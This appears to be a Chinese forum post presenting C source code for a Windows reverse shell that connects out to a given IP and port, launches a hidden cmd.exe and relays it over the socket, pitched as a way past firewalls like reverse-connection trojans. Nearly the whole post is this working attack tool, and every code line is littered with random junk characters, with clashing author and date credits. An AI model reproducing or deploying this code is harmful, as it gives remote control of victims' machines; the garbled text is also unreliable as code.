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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ERz{, >G?  
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/* ============================== t @vb3  
Rebound port in Windows NT 6Us*zKgW  
By wind,2006/7 d@e2+3<  
===============================*/ VFLW @  
#include R gTrj  
#include d}--}&r  
t?;\'  
#pragma comment(lib,"wsock32.lib") Dwuao`~Xm  
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void OutputShell(); ]o3K  
SOCKET sClient; gjDxgNpa  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /YHAU5N/}  
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void main(int argc,char **argv) "`Mowp*  
{ s>c0K@ADO  
WSADATA stWsaData; Ge+T[  
int nRet; crl"Ec  
SOCKADDR_IN stSaiClient,stSaiServer; r%412 #  
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if(argc != 3) bd)'1;p  
{ / lDei}  
printf("Useage:\n\rRebound DestIP DestPort\n"); W\5PsGUsv  
return; %=`wN^3t2  
} _(:<l Y aY  
W@FSQ8b>$m  
WSAStartup(MAKEWORD(2,2),&stWsaData); =>htX(k}  
r<c&;*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $L"h|>b\o  
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stSaiClient.sin_family = AF_INET; /_qW?LKG/  
stSaiClient.sin_port = htons(0); _bn "c@s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z~1uyr(  
Q:U>nm>xA  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |qz&d=>  
{ LDh,!5G-M  
printf("Bind Socket Failed!\n"); %WlTx&jSgE  
return; 3*=_vl3  
} ,)M/mG?,  
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stSaiServer.sin_family = AF_INET; i|[**P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W5,&*mo  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }inV)QQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E<sd\~~A:  
{ Q?>DbT6  
printf("Connect Error!"); s w{e |  
return; qP BOt;N  
} q~`dxq`}  
OutputShell(); n?*r,)'  
} (0E<Fz V  
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void OutputShell() #Q'#/\5  
{ *vzEfmN:d  
char szBuff[1024]; <$??Z;6  
SECURITY_ATTRIBUTES stSecurityAttributes; Q^bYx (r5w  
OSVERSIONINFO stOsversionInfo; foUB/&Ee  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1my1m  
STARTUPINFO stStartupInfo; -&l%CR,U  
char *szShell; z(Z7[#.  
PROCESS_INFORMATION stProcessInformation; %n 6NVi_[  
unsigned long lBytesRead; 8([ MR  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _y&XFdp  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xdf4%/Op  
stSecurityAttributes.lpSecurityDescriptor = 0; ,0c]/Sd*p  
stSecurityAttributes.bInheritHandle = TRUE; ;Yt+ {pI  
6-z(34&N  
7>=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3N 5@<:2`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D?=4'"@v  
@]!9;?so  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zz!jt A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 33 ; '6/  
stStartupInfo.wShowWindow = SW_HIDE; f `D( V-4  
stStartupInfo.hStdInput = hReadPipe; "j&'R#$&d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n =WH=:&  
sF>O=F-7  
GetVersionEx(&stOsversionInfo); #m17cDL  
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switch(stOsversionInfo.dwPlatformId) Zl>dBc%  
{ {,u})U2  
case 1: ,,!P-kK$  
szShell = "command.com"; #uF`|M$u  
break; \KzH5?  
default: cg o  
szShell = "cmd.exe"; $s4.Aj  
break; F{.\i*$  
} Bgn%d4W;G  
a#k7 aOT0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l4dG=x}M]  
<nb%$2r1  
send(sClient,szMsg,77,0); @%G?Nht]o  
while(1) f%i%QZP  
{ vQ]d?Tp  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;b:'i& r  
if(lBytesRead) CmV &+C$V%  
{ h!v< J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oR,6esA+6n  
send(sClient,szBuff,lBytesRead,0); jCXBp>9$M  
} a+cDH  
else r @m]#4  
{ H%XF~tF:  
lBytesRead=recv(sClient,szBuff,1024,0); xQ7U$QF|]  
if(lBytesRead<=0) break; IRwtM'%0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); awwSgy  
} N'WC!K.e  
} wMj #.Jh  
EEnl'  
return; K, I  
}
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